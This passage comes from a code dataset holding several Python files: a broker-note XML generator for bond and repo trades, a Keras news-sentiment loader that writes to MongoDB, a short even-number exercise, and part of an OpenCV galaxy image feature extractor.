clean_consid_leg_2_calc = request.calc_space.CreateCalculation(top_node, 'cleanConsiderationLeg2')\n clean_price_trade_calc = request.calc_space.CreateCalculation(top_node, 'cleanPrice')\n dirty_price_trade_calc = request.calc_space.CreateCalculation(top_node, 'dirtyPrice')\n interest_bonds_frns_calc = request.calc_space.CreateCalculation(top_node, 'Portfolio Traded Interest')\n\n accr_int_leg_1 = self.return_calc_value(accr_int_leg_1_calc)\n accr_int_leg_2 = self.return_calc_value(accr_int_leg_2_calc)\n clean_consid_leg_1 = self.return_calc_value(clean_consid_leg_1_calc)\n clean_consid_leg_2 = self.return_calc_value(clean_consid_leg_2_calc)\n clean_price_trade = self.return_calc_value(clean_price_trade_calc)\n dirty_price_trade = self.return_calc_value(dirty_price_trade_calc)\n interest_bonds_frns = self.return_calc_value(interest_bonds_frns_calc)\n values = dict()\n values['bond_clean_consid'] = request.acm_trade.Premium()-interest_bonds_frns\n values['accr_int_leg_1'] = accr_int_leg_1\n values['accr_int_leg_2'] = accr_int_leg_2\n values['clean_consid_leg_1'] = clean_consid_leg_1\n values['clean_consid_leg_2'] = clean_consid_leg_2\n values['clean_price_trade'] = clean_price_trade\n values['dirty_price_trade'] = dirty_price_trade\n if request.acm_trade.Quantity() > 0:\n values['interest_bonds_frns'] = interest_bonds_frns * -1\n else:\n values['interest_bonds_frns'] = interest_bonds_frns\n\n return values\n\n def build_bsb_data_template(self, request):\n \"\"\"\n Creates a dictionary of data for buysellback broker notes\n \"\"\"\n template_dict = dict()\n accr_int_leg_1 = self.trade_sheet_calculations(request)['accr_int_leg_1']\n accr_int_leg_2 = self.trade_sheet_calculations(request)['accr_int_leg_2']\n clean_consid_leg_1 = self.trade_sheet_calculations(request)['clean_consid_leg_1']\n clean_consid_leg_2 = self.trade_sheet_calculations(request)['clean_consid_leg_2']\n\n premium1 = accr_int_leg_1 + clean_consid_leg_1\n premium2 = accr_int_leg_2 + clean_consid_leg_2\n\n if request.acm_trade.Quantity() > 0:\n repo_type = 'Buy Sellback'\n template_dict['PURCHASESALE'] = 'Purchase'\n template_dict['BUYER'] = get_party_full_name(request.counterparty)\n template_dict['SELLER'] = self._get_documentation_parameter('broker_note_absa_name')\n\n else:\n repo_type = 'Sell Buyback'\n template_dict['PURCHASESALE'] = 'Sale'\n template_dict['SELLER'] = get_party_full_name(request.counterparty)\n template_dict['BUYER'] = self._get_documentation_parameter('broker_note_absa_name')\n\n template_dict['HEAD'] = repo_type + ' Transaction Notification'\n template_dict['ISIN'] = request.acm_underlying.Isin()\n template_dict['MATURITYDATE'] = request.acm_instrument.ExpiryDateOnly()\n template_dict['CURRENCY'] = request.currency\n template_dict['SECURITYDESCR'] = self.security_description(request)\n template_dict['UNEXCORCODE'] = request.unexcor_code\n template_dict['HOSTID'] = request.counterparty.HostId()\n template_dict['TRADEDATE'] = self.format_date(request.acm_trade.ExecutionTime())\n template_dict['TRADENO'] = request.acm_trade.Oid()\n template_dict['NOMAMOUNT'] = formnum(abs(request.acm_trade.Nominal()))\n template_dict['REPORATE'] = request.acm_instrument.Rate()\n template_dict['DEALDATE'] = request.acm_trade.TradeTime()\n template_dict['SETTDATELEG1'] = self.format_date(request.acm_trade.ValueDay())\n template_dict['SETTDATELEG2'] = self.format_date(request.acm_instrument.ExpiryDateOnly())\n template_dict['YTMLEG1'] = request.acm_trade.Price()\n template_dict['YTMLEG2'] = request.acm_instrument.RefPrice()\n template_dict['CLEANPRICELEG1'] = formnum(abs((clean_consid_leg_1 / request.acm_trade.Nominal()) * 100))\n template_dict['CLEANPRICELEG2'] = formnum(abs((clean_consid_leg_2 / request.acm_trade.Nominal()) * 100))\n template_dict['PREMIUMLEG1'] = formnum(abs(premium1))\n template_dict['PREMIUMLEG2'] = formnum(abs(premium2))\n template_dict['INTEREST'] = formnum(abs(premium1 + premium2))\n template_dict['CUSTODIANBIC'] = request.custodian_bic\n template_dict['CUSTODIANSCRIP'] = request.custodian_scrip\n template_dict['CUSTODIANCASH'] = request.custodian_cash\n template_dict['MEMBERCODE'] = request.acquirer_unexcore_code\n template_dict['PSET'] = request.PSET\n return template_dict\n\n def build_repo_data_template(self, request):\n \"\"\"\n Creates a dictionary of data for repo broker notes\n \"\"\"\n template_dict = dict()\n premium1 = self.trade_sheet_calculations(request)['accr_int_leg_1']\n premium2 = self.trade_sheet_calculations(request)['accr_int_leg_2']\n\n if request.acm_trade.Quantity() > 0:\n repo_type = 'Reverse Repo'\n template_dict['PURCHASESALE'] = 'Purchase'\n template_dict['BUYER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['SELLER'] = get_party_full_name(request.counterparty)\n\n else:\n repo_type = 'Repo'\n template_dict['PURCHASESALE'] = 'Sale'\n template_dict['SELLER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['BUYER'] = get_party_full_name(request.counterparty)\n\n template_dict['HEAD'] = repo_type + ' Transaction Notification'\n template_dict['ISIN'] = request.acm_underlying.Isin()\n template_dict['MATURITYDATE'] = self.format_date(request.acm_instrument.ExpiryDateOnly())\n template_dict['CURRENCY'] = request.currency\n template_dict['SECURITYDESCR'] = self.security_description(request)\n template_dict['UNEXCORCODE'] = request.unexcor_code\n template_dict['HOSTID'] = request.counterparty.HostId()\n template_dict['TRADEDATE'] = self.format_date(request.acm_trade.ExecutionTime())\n template_dict['TRADENO'] = request.acm_trade.Oid()\n template_dict['NOMAMOUNT'] = formnum(abs(request.acm_instrument.RefValue() * request.acm_trade.Quantity()))\n template_dict['REPORATE'] = request.acm_instrument.Legs()[0].FixedRate()\n template_dict['DEALDATE'] = self.format_date(request.acm_trade.TradeTime())\n template_dict['SETTDATELEG1'] = self.format_date(request.acm_trade.ValueDay())\n template_dict['SETTDATELEG2'] = self.format_date(request.acm_instrument.ExpiryDateOnly())\n template_dict['YTMLEG1'] = abs(request.acm_instrument.RefPrice())\n template_dict['YTMLEG2'] = 0.0\n template_dict['CLEANPRICELEG1'] = formnum(abs(self.clean_price_repo(request)))\n template_dict['CLEANPRICELEG2'] = 0.0\n template_dict['PREMIUMLEG1'] = formnum(abs(premium1))\n template_dict['PREMIUMLEG2'] = formnum(abs(premium2))\n template_dict['INTEREST'] = formnum(abs(premium1 + premium2))\n template_dict['CUSTODIANBIC'] = request.custodian_bic\n template_dict['CUSTODIANSCRIP'] = request.custodian_scrip\n template_dict['CUSTODIANCASH'] = request.custodian_cash\n template_dict['COMPANION'] = request.companion if request.companion else \"\"\n\n companion_spread = \"\"\n if request.companion_spread and len(str(request.companion_spread)) <= 3:\n companion_spread = \"{0:.2f}\".format(float(request.companion_spread))\n elif request.companion_spread:\n companion_spread = \"{0:.8g}\".format(float(request.companion_spread))\n\n template_dict['COMPANIONSPREAD'] = companion_spread\n template_dict['MEMBERCODE'] = request.acquirer_unexcore_code\n template_dict['PSET'] = request.PSET\n return template_dict\n\n def build_bond_data_template(self, request):\n \"\"\"\n Creates a dictionary of data for bond broker notes\n \"\"\"\n template_dict = dict()\n\n self.check_population_of_companion_and_spread(request)\n\n if request.acm_trade.Bought():\n template_dict['PURCHASESALE'] = 'Purchase'\n template_dict['BUYER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['SELLER'] = get_party_full_name(request.counterparty)\n\n else:\n template_dict['PURCHASESALE'] = 'Sale'\n template_dict['SELLER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['BUYER'] = get_party_full_name(request.counterparty)\n\n template_dict['HEAD'] = 'Bond' + ' Transaction Notification'\n template_dict['ISIN'] = request.acm_instrument.Isin()\n template_dict['ISSUER'] = request.acm_instrument.Issuer().Name()\n template_dict['MATURITYDATE'] = self.format_date(request.acm_instrument.ExpiryDateOnly())\n template_dict['CURRENCY'] = request.currency\n template_dict['SECURITYDESCR'] = self.security_description(request)\n template_dict['UNEXCORCODE'] = request.unexcor_code\n template_dict['HOSTID'] = request.counterparty.HostId()\n template_dict['TRADEDATE'] = self.format_date(request.acm_trade.ExecutionTime())\n template_dict['TRADENO'] = request.acm_trade.Oid()\n template_dict['SETTLEDATE'] = self.format_date(request.settlement_date)\n template_dict['NOMAMOUNT'] = formnum(abs(request.acm_trade.Nominal()))\n template_dict['PRICE'] = abs(request.acm_trade.Price())\n template_dict['CLEANPRICE'] = abs(self.trade_sheet_calculations(request)['clean_price_trade'])\n template_dict['INTEREST'] = formnum(self.trade_sheet_calculations(request)['interest_bonds_frns'])\n template_dict['CUSTODIANBIC'] = request.custodian_bic\n template_dict['CUSTODIANSCRIP'] = request.custodian_scrip\n template_dict['CUSTODIANCASH'] = request.custodian_cash\n\n # We only populate the companion and companion spread fields for Corporate issued bonds\n companion_spread = \"\"\n if request.companion_spread and len(str(request.companion_spread)) <= 3:\n companion_spread = \"{0:.2f}\".format(float(request.companion_spread))\n elif request.companion_spread:\n companion_spread = \"{0:.8g}\".format(float(request.companion_spread))\n template_dict['COMPANION'] = request.companion if request.companion else \"\"\n template_dict['COMPANIONSPREAD'] = companion_spread\n\n template_dict['MEMBERCODE'] = request.acquirer_unexcore_code\n template_dict['CLEANCONSIDERATION'] = formnum(abs(self.trade_sheet_calculations(request)['bond_clean_consid']))\n template_dict['CONSIDERATION'] = formnum(abs(request.acm_trade.Premium()))\n template_dict['PSET'] = request.PSET\n return template_dict\n\n def build_frn_data_template(self, request):\n \"\"\"\n Creates a dictionary of data for FRN broker notes\n \"\"\"\n template_dict = dict()\n self.check_population_of_companion_and_spread(request)\n\n if request.acm_trade.Bought():\n template_dict['PURCHASESALE'] = 'Purchase'\n template_dict['BUYER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['SELLER'] = get_party_full_name(request.counterparty)\n\n else:\n template_dict['PURCHASESALE'] = 'Sale'\n template_dict['SELLER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['BUYER'] = get_party_full_name(request.counterparty)\n\n template_dict['HEAD'] = 'FRN' + ' Transaction Notification'\n template_dict['ISIN'] = request.acm_instrument.Isin()\n template_dict['ISSUER'] = request.acm_instrument.Issuer().Name()\n template_dict['MATURITYDATE'] = self.format_date(request.acm_instrument.ExpiryDateOnly())\n template_dict['CURRENCY'] = request.currency\n template_dict['SECURITYDESCR'] = self.security_description(request)\n template_dict['UNEXCORCODE'] = request.unexcor_code\n template_dict['HOSTID'] = request.counterparty.HostId()\n template_dict['TRADEDATE'] = self.format_date(request.acm_trade.ExecutionTime())\n template_dict['TRADENO'] = request.acm_trade.Oid()\n template_dict['SETTLEDATE'] = self.format_date(request.settlement_date)\n template_dict['NOMAMOUNT'] = formnum(abs(request.acm_trade.Nominal()))\n template_dict['PRICE'] = abs(request.acm_trade.Price())\n template_dict['CLEANPRICE'] = abs(self.trade_sheet_calculations(request)['clean_price_trade'])\n template_dict['INTEREST'] = formnum(self.trade_sheet_calculations(request)['interest_bonds_frns'])\n template_dict['CUSTODIANBIC'] = request.custodian_bic\n template_dict['CUSTODIANSCRIP'] = request.custodian_scrip\n template_dict['CUSTODIANCASH'] = request.custodian_cash\n template_dict['COMPANION'] = request.companion if request.companion else \"\"\n\n companion_spread = \"\"\n if request.companion_spread and len(str(request.companion_spread)) <= 3:\n companion_spread = \"{0:.2f}\".format(float(request.companion_spread))\n elif request.companion_spread:\n companion_spread = \"{0:.8g}\".format(float(request.companion_spread))\n\n template_dict['COMPANIONSPREAD'] = companion_spread\n template_dict['MEMBERCODE'] = request.acquirer_unexcore_code\n template_dict['CONSIDERATION'] = formnum(abs(request.acm_trade.Premium()))\n template_dict['PSET'] = request.PSET\n return template_dict\n\n def build_combination_data_template(self, request):\n \"\"\"\n Creates a dictionary of data for Combination broker notes\n \"\"\"\n template_dict = dict()\n self.check_population_of_companion_and_spread(request)\n\n if request.acm_trade.Bought():\n template_dict['PURCHASESALE'] = 'Purchase'\n template_dict['BUYER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['SELLER'] = get_party_full_name(request.counterparty)\n\n else:\n template_dict['PURCHASESALE'] = 'Sale'\n template_dict['SELLER'] = self._get_documentation_parameter('broker_note_absa_name')\n template_dict['BUYER'] = get_party_full_name(request.counterparty)\n\n template_dict['HEAD'] = 'Combination' + ' Transaction Notification'\n template_dict['ISIN'] = request.acm_instrument.Isin()[0:12]\n template_dict['ISSUER'] = request.acm_instrument.Issuer().Name()\n template_dict['CURRENCY'] = request.currency\n template_dict['SECURITYDESCR'] = request.acm_instrument.ExternalId1()[0:6]\n template_dict['UNEXCORCODE'] = request.unexcor_code\n template_dict['HOSTID'] = request.counterparty.HostId()\n template_dict['TRADEDATE'] = self.format_date(request.acm_trade.ExecutionTime())\n template_dict['TRADENO'] = request.acm_trade.Oid()\n template_dict['SETTLEDATE'] = self.format_date(request.settlement_date)\n template_dict['NOMAMOUNT'] = formnum(abs(request.acm_trade.Nominal()))\n template_dict['PRICE'] = abs(request.acm_trade.Price())\n template_dict['INTEREST'] = abs(round(self.accrued_interest_combination(request), 5))\n template_dict['CUSTODIANBIC'] = request.custodian_bic\n template_dict['CUSTODIANSCRIP'] = request.custodian_scrip\n template_dict['CUSTODIANCASH'] = request.custodian_cash\n template_dict['COMPANION'] = request.companion if request.companion else \"\"\n\n companion_spread = \"\"\n if request.companion_spread:\n companion_spread = \"{0:.8g}\".format(float(request.companion_spread))\n\n template_dict['COMPANIONSPREAD'] = companion_spread\n template_dict['MEMBERCODE'] = request.acquirer_unexcore_code\n template_dict['CONSIDERATION'] = formnum(abs(request.acm_trade.Premium()))\n template_dict['PSET'] = request.PSET\n return template_dict\n\n def clear_memory(self, request):\n \"\"\"\n Clear memory after using a calculation space\n \"\"\"\n request.calc_space.Clear()\n acm.Calculations().ResetEvaluatorBuilders()\n acm.Memory().GcWorldStoppedCollect()\n\n def _generate_document_specific_element(self, request):\n \"\"\"\n Generates XML element specific to broker notes\n \"\"\"\n if request.instype in [at.INST_BOND, at.INST_INDEXLINKED_BOND]:\n template_dict = self.build_bond_data_template(request)\n return self.convert_broker_data_to_xml(template_dict, request)\n\n elif request.instype == at.INST_FRN:\n template_dict = self.build_frn_data_template(request)\n return self.convert_broker_data_to_xml(template_dict, request)\n\n elif request.instype == at.INST_BUYSELLBACK:\n template_dict = self.build_bsb_data_template(request)\n return self.convert_broker_data_to_xml(template_dict, request)\n\n elif request.instype == at.INST_REPO_REVERSE:\n template_dict = self.build_repo_data_template(request)\n return self.convert_broker_data_to_xml(template_dict, request)\n\n elif request.instype == at.INST_COMBINATION:\n template_dict = self.build_combination_data_template(request)\n return self.convert_broker_data_to_xml(template_dict, request)\n\n raise ValueError(\"Unsupported instrument type '{instype}' encounter.\".format(\n instype=request.instype\n ))\n\n def _generate_subject_element(self, request):\n \"\"\"\n Generates the subject XML element\n \"\"\"\n if request.instype in [at.INST_BOND, at.INST_INDEXLINKED_BOND]:\n return self._generate_element(\"SUBJECT\", at.INST_BOND)\n\n elif request.instype == at.INST_FRN:\n return self._generate_element(\"SUBJECT\", at.INST_FRN)\n\n elif request.instype == at.INST_BUYSELLBACK:\n return self._generate_element(\"SUBJECT\", at.INST_BUYSELLBACK)\n\n elif request.instype == at.INST_REPO_REVERSE:\n return self._generate_element(\"SUBJECT\", at.INST_REPO_REVERSE)\n\n elif request.instype == at.INST_COMBINATION:\n return self._generate_element(\"SUBJECT\", at.INST_COMBINATION)\n\n raise ValueError(\"Unsupported instrument type '{instype}' encounter.\".format(\n instype=request.instype\n ))\n\n def convert_broker_data_to_xml(self, template_dict, request):\n \"\"\"\n Converts dictionary data to XML\n \"\"\"\n element = self._generate_element(\"BROKER_NOTE\")\n\n for xml_header in list(template_dict.keys()):\n element.append(self._generate_element_using_dictionary(xml_header, template_dict))\n\n element.append(self._generate_element('CUSTODIAN', request.custodian))\n self.clear_memory(request)\n\n return element\n","sub_path":"Extensions/ABSA Documentation/FPythonCode/BrokerNoteXMLGenerator.py","file_name":"BrokerNoteXMLGenerator.py","file_ext":"py","file_size_in_byte":30901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"442312704","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n##########\n# Program: 04_news_load.py\n# Github: @ammiiamm\n# Collections: news_raw, finnew\n# Log pattern: [Program name] [I=Information, S=Status, E=Error, W=Warning] [Description]\n# Descriptions:\n# 1. Pass the word vectors through our Unsupervised ML Model\n# 2. Save the sentiment output in the final Collection\n##########\n\nfrom keras.preprocessing.sequence import pad_sequences\nimport keras.models\nimport tensorflow\nimport sys\nimport os\nimport re\nimport string\nimport pandas as pd\nimport pymongo\nimport datetime \nimport traceback\nfrom keras.models import load_model\n\ndef func_news_load(*args, **kwarg):\n\n #init console log\n print(\"[04_news_load] S Started job at \" + str(datetime.datetime.utcnow()))\n\n #f_model_h5 = \"/home/st118957_ait/sentifine/model/thai2vec-3_model.h5\"\n #f_model_json = \"/home/st118957_ait/sentifine/model/thai2vec-3_model_json.json\"\n #f_model_weights = \"/home/st118957_ait/sentifine/model/thai2vec-3_model_weights.h5\"\n f_model_json = \"/Users/ammii/sentifine_job/pretrain_thai2vec_no_dropout_model_json.json\"\n f_model_weights = \"/Users/ammii/sentifine_job/pretrain_thai2vec_no_dropout_model_weights.h5\"\n #f_model = \"/home/st118957_ait/sentifine/model/pretrain_thai2vec_no_dropout_model.h5\"\n status_default = \"Loaded\"\n\n # Connect to MongoDB\n client = pymongo.MongoClient()\n collection_raw = client.sentifine.news_raw\n #collection_transform = client.sentifine.news_transform\n #collection_sentifine = client.sentifine.news_sentifine\n collection_sentifine = client.sentifine.finnews\n cursor = collection_raw.find( {\"status\": \"Transformed\"} )\n\n print(\"[04_news_load] I Loading news and model...\")\n #load news\n df = pd.DataFrame(list(cursor))\n print(\"[04_news_load] I No. of news to be transformed: \" + str(len(df)))\n\n if len(df) > 0:\n #load json for our model's architecture\n with open(f_model_json) as ff:\n model_json=ff.read()\n model=keras.models.model_from_json(model_json)\n #load weights\n model.load_weights(f_model_weights)\n\n #model = load_model(f_model)\n\n print(\"[04_news_load] I Setting up parameters...\")\n \n model.compile(loss='categorical_crossentropy',\n #optimizer='adam',\n optimizer='adamax',\n metrics=['accuracy'])\n title_int = pad_sequences(df['tf_title_int'], maxlen = 300) #pad sequence of tf_title_int\n\n print(\"[04_news_load] I Inferencing...\")\n #news_fit = model.predict(title_int, batch_size=10, verbose=1)\n news_class = model.predict_classes(title_int)\n\n print(\"[04_news_load] I Updating sentiments...\")\n\n for index, row in df.iterrows():\n \n i_sentiment = ''\n if news_class[index] == 0:\n i_sentiment = \"Negative\"\n elif news_class[index] == 1:\n i_sentiment = \"Neutral\"\n elif news_class[index] == 2:\n i_sentiment = \"Positive\"\n else:\n i_sentiment = \"NA\"\n\n #insert item into finnew\n s = {\n 'source':row[\"source\"],\n 'source_url':row[\"source_url\"],\n 'title':row['title'],\n 'published':row['published'],\n 'title_detail':row['title_detail'],\n 'summary':row['summary'],\n 'url_link':row['url_link'],\n 'retrieved':row['retrieved'],\n 'category':row['category'],\n 'sentiment':i_sentiment,\n 'filter_BOT':row['filter_BOT'],\n 'fetch_dt':str(datetime.datetime.utcnow())\n } \n try: \n collection_sentifine.insert_one(s)\n except Exception as ex:\n print (\"[04_news_load] E Unexpected error while inserting collection finnew.\")\n print (\"[04_news_load] E \" + str(ex))\n\n #update status of item in news_raw \n r_query = { \"_id\": row[\"_id\"]}\n r_update = {\"$set\":{ \"status\": status_default, \"ld_dt\": str(datetime.datetime.utcnow())}}\n\n try:\n collection_raw.update_one(r_query, r_update)\n except Exception as ex:\n print (\"[04_news_load] E Unexpected error while updating collection news_raw.\")\n print (\"[04_news_load] E \" + str(ex))\n else:\n print (\"[04_news_load] I The rest processes were exempted due to 0 row of news\")\n\n #final log\n print(\"[04_news_load] S Finished job at \" + str(datetime.datetime.utcnow()))\n","sub_path":"scripts/python/news_load.py","file_name":"news_load.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"177890012","text":"# Escriba la función par(x) que retorne True si x es par, y False si es impar:\n# http://progra.usm.cl/apunte/ejercicios/2/numero-par.html\n\ndef par(x):\n res, mod = divmod(x, 2)\n if mod == 0:\n return True\n else:\n return False\n\n\nprint(par(16))\nprint(par(29))\nprint(par(\"hola\"))\n","sub_path":"enero_2021(lista 2)/numero_par_55.py","file_name":"numero_par_55.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"345923342","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCourse :\n GTI770 — Systèmes intelligents et apprentissage machine\n\nProject��:\n Lab # X - Lab's name\n\nStudents :\n Names — Permanent Code\n\nGroup :\n GTI770-H18-0X\n\"\"\"\n\nimport csv\n\nimport cv2\nimport math\nimport numpy as np\nimport scipy.ndimage as nd\nfrom scipy.stats.mstats import mquantiles, kurtosis, skew\nfrom sklearn.preprocessing import LabelEncoder\n\n\nclass GalaxyProcessor(object):\n \"\"\" Process galaxy images and extract the features.\"\"\"\n\n def __init__(self, image_path):\n self._image_path = image_path\n\n def get_image_path(self):\n return self._image_path\n\n def process_galaxy(self, dataset):\n \"\"\" Process a galaxy image.\n\n Get all the features from a galaxy image.\n\n Args:\n galaxy_id: a string containing the galaxy ID\n\n Returns:\n An array containing the image's features.\n \"\"\"\n features = list()\n\n for sample, label in zip(dataset.train._img_names, dataset.train._labels):\n\n # Get the file name associated with the galaxy ID.\n file = self.get_image_path() + str(sample[0]) + \".jpg\"\n\n # Compute the features and append to the list.\n feature_vector = self.get_features(file, sample[0], label[0])\n features.append(feature_vector)\n\n for sample, label in zip(dataset.valid._img_names, dataset.valid._labels):\n\n # Get the file name associated with the galaxy ID.\n file = self.get_image_path() + str(sample[0]) + \".jpg\"\n\n # Compute the features and append to the list.\n feature_vector = self.get_features(file, sample[0], label[0])\n features.append(feature_vector)\n\n\n\n return features\n\n def load_image(self, filepath):\n \"\"\" Load an image using OpenCV library.\n\n Load an image using OpenCV library.\n\n Args:\n filepath: the path of the file to open.\n\n Returns:\n An image in OpenCV standard format.\n \"\"\"\n return cv2.imread(filename=filepath)\n\n def crop_image(self, image, width, height):\n \"\"\" Crop an image.\n\n Utility method to crop an image using Python arrays.\n\n Args:\n image: a pointer to an OpenCV image matrix.\n width: the resulting width.\n height: the resulting height.\n\n Returns:\n A 2D array representing the cropped image.\n \"\"\"\n return image[width:height, width:height]\n\n def gaussian_filter(self, image, kernel_width, kernel_height):\n \"\"\" Apply a gaussian filter.\n\n Apply a gaussian filter on an image.\n\n Args:\n image: an OpenCV standard image format. \n kernel_width: the kernel width of the filter.\n kernel_height: the kernel height of the filter.\n\n Returns:\n The image with applied gaussian filter.\n \"\"\"\n return cv2.GaussianBlur(image, (kernel_width, kernel_height), 2.0)\n\n def rescale(self, image, min=0, max=255):\n \"\"\" Rescale the colors of an image.\n\n Utility method to rescale colors from an image. \n\n Args: \n image: an OpenCV standard image format.\n min: The minimum color value [0, 255] range.\n max: The maximum color value [0, 255] range.\n \n Returns:\n The image with rescaled colors.\n \"\"\"\n image = image.astype('float')\n image -= image.min()\n image /= image.max()\n image = image * (max - min) + min\n\n return image\n\n def saturate(self, image, q0=0.01, q1=0.99):\n \"\"\" Stretch contrasts of an image. \n \n Utility method to saturate the contrast of an image. \n\n Args:\n image: an OpenCV standard image format.\n q0: minimum coefficient.\n q1: maximum coefficient.\n\n Returns:\n The image with saturated contrasts. \n \"\"\"\n image = image.astype('float')\n if q0 is None:\n q0 = 0\n if q1 is None:\n q1 = 1\n q = mquantiles(image[np.nonzero(image)].flatten(), [q0, q1])\n image[image < q[0]] = q[0]\n image[image > q[1]] = q[1]\n\n return image\n\n def largest_connected_component(self, image, labels, nb_labels):\n \"\"\" Select the largest connected component.\n\n Select the largest connected component which is closest to the center using a weighting size/distance**2.\n\n Args:\n image: an OpenCV standard image format.\n labels: image labels.\n nb_labels: number of image labels.\n\n Returns: \n A thresholded image of the largest connected component.\n \"\"\"\n sizes = np.bincount(labels.flatten(),\n minlength=nb_labels + 1)\n centers = nd.center_of_mass(image, labels, range(1, nb_labels + 1))\n\n distances = list(map(lambda args:\n (image.shape[0] / 2 - args[1]) ** 2 + (image.shape[1] / 2 - args[0]) ** 2,\n centers))\n\n distances = [1.0] + distances\n distances = np.array(distances)\n sizes[0] = 0\n sizes[sizes < 20] = 0\n sizes = sizes / (distances + 0.000001)\n best_label = np.argmax(sizes)\n thresholded = (labels == best_label) * 255\n\n return thresholded\n\n def recenter(self, image, x, y, interpolation=cv2.INTER_LINEAR):\n \"\"\" Recenter an image. \n\n Recenter an image around x and y.\n\n Args: \n image: an OpenCV standard image format.\n x: integer representing an \"X\" coordinate.\n y: integer representing an \"Y\" coordinate.\n interpoolation: interpolation method.\n\n Returns:\n The recentered image.\n \"\"\"\n cx = float(image.shape[1]) / 2\n cy = float(image.shape[0]) / 2\n\n # Compute the translation matrix.\n translation_matrix = np.array([[1, 0, cx - x], [0, 1, cy - y]], dtype='float32')\n\n # Compute the afine transform.\n recentered_image = cv2.warpAffine(image, translation_matrix, image.shape[:2], flags=interpolation)\n\n return recentered_image\n\n def compose(self, matrix1, matrix2):\n \"\"\" Composes affine transformations.\n \n Compute the resulting transformation matrix based on two supplied transformation matrix.\n\n Args: \n matrix1: The first matrix transform.\n matrix2: The second matrix transform.\n\n Returns:\n The composition matrix of the affine transforms.\n \"\"\"\n n1 = np.eye(3, dtype='float32')\n n2 = np.eye(3, dtype='float32')\n n1[:2] = matrix1\n n2[:2] = matrix2\n n3 = np.dot(n1, n2)\n\n return n3[:2]\n\n def rotate(self, image, x, y, angle, interpolation=cv2.INTER_LINEAR):\n \"\"\" Rotate an image.\n\n Rotate an image by an angle in degrees around specific point.\n \n Source : http://stackoverflow.com/questions/9041681/opencv-python-rotate-image-by-x-degrees-around-specific-point\n\n Args:\n image: an OpenCV standard image format.\n x: integer representing an \"X\" coordinate\n y: integer representing an \"Y\" coordinate.\n angle: the angle of rotation.\n interpolation: interpolation method. \n\n Returns:\n The rotated image.\n \"\"\"\n # Get the image center.\n cx = float(image.shape[1]) / 2\n cy = float(image.shape[0]) / 2\n\n # Compute a translation matrix to recenter the image.\n translation_matrix = np.array([[1, 0, cx - x], [0, 1, cy - y]], dtype='float32')\n\n # Compute a rotation matrix to rotate the image.\n rotation_matrix = cv2.getRotationMatrix2D((cx, cy), angle, 1.0)\n\n # Compose the affine transformation.\n m = self.compose(rotation_matrix, translation_matrix)\n\n # Compute the rotation.\n rotated_image = cv2.warpAffine(image, m, image.shape[:2], flags=interpolation)\n\n return rotated_image\n\n def random_colors(self, labels):\n \"\"\" Color with random colors components in an image.\n \n For debug purpose. \n\n Args: \n labels: some image labels.\n\n Returns:\n Colored image segment.\n \"\"\"\n idx = np.nonzero(labels)\n nb_labels = labels.max()\n colors = np.random.random_integers(0, 255, size=(nb_labels + 1, 3))\n seg = np.zeros((labels.shape[0], labels.shape[1], 3), dtype='uint8')\n seg[idx] = colors[labels[idx].astype('int')]\n\n return seg\n\n def fit_ellipse(self, points, factor=1.96):\n \"\"\" Fit points to ellipse.\n\n Fit an ellips to points passed in parameters. \n \n Theorical source : http://en.wikipedia.org/wiki/1.96\n\n Args:\n points: image points. \n factor: the 1.96 factor in order to contain 95% of the galaxy.\n\n Returns:\n The center of the ellipse, the singular values, and the angle.\n \n \"\"\"\n points = points.astype('float')\n center = points.mean(axis=0)\n points -= center\n\n U, S, V = np.linalg.svd(points, full_matrices=False)\n\n S /= np.sqrt(len(points) - 1)\n S *= factor\n angle = math.atan2(V[0, 1], V[0, 0]) / math.pi * 180\n\n return center, 2 * S, angle\n\n def gini(self, x):\n \"\"\" Get the Gini coefficient.\n\n The Gini coefficient (sometimes expressed as a Gini ratio or a normalized Gini index)\n is a measure of statistical dispersion and is the most commonly used measure of inequality.\n\n Source : http://www.ellipsix.net/blog/2012/11/the-gini-coefficient-for-distribution-inequality.html\n\n Args:\n x: the pixels representing an image.\n filename: filename of the image.\n \"\"\"\n\n # requires all values in x to be zero or positive numbers, otherwise results are undefined\n x = x.flatten()\n n = len(x)\n s = x.sum()\n r = np.argsort(np.argsort(-x)) # calculates zero-based ranks\n if s == 0 or n == 0:\n return 1.0\n else:\n return 1.0 - (2.0 * (r * x).sum() + s) / (n * s)\n\n def get_entropy(self, image):\n \"\"\" Get the image's entropy.\n\n Entrpy is a scalar value representing the entropy of grayscale image.\n Entropy is a statistical measure of randomness that can be used to characterize \n the texture of the input image.\n\n Source : http://stackoverflow.com/questions/16647116/faster-way-to-analyze-each-sub-window-in-an-image\n\n Args: \n image: an OpenCV standard image format.\n\n Returns:\n Image's entropy as a floating point value.\n \"\"\"\n hist = cv2.calcHist([image], [0], None, [256], [0, 256])\n hist = hist.ravel() / hist.sum()\n logs = np.log2(hist + 0.00001)\n\n return -1 * (hist * logs).sum()\n\n def get_gray_float_image(self, image):\n \"\"\" get image as grey scale image in float format.\n\n Transform the image into grey scale and transform values into floating point integer.\n\n Args:\n image: an OpenCV standard color image format.\n\n Returns:\n Image in gray scale in floating point values.\n \"\"\"\n return cv2.cvtColor(image.astype(\"uint8\"), cv2.COLOR_BGR2GRAY).astype(\"float\")\n\n def get_gray_image(self, image):\n \"\"\" Get an image in gray scales.\n\n Transform an image in grey scale. Returns values as integer.\n\n Args:\n image : an OpenCV standard image format.\n\n Returns:\n Image in gray scale.\n \"\"\"\n return cv2.cvtColor(image.astype(\"uint8\"), cv2.COLOR_BGR2GRAY)\n\n def remove_starlight(self, image_color, image_gray):\n \"\"\" Removes the star light in images.\n\n Calclates the median in color and gray scale image to clean the image's background.\n\n Args:\n image_color: an OpenCV standard color image 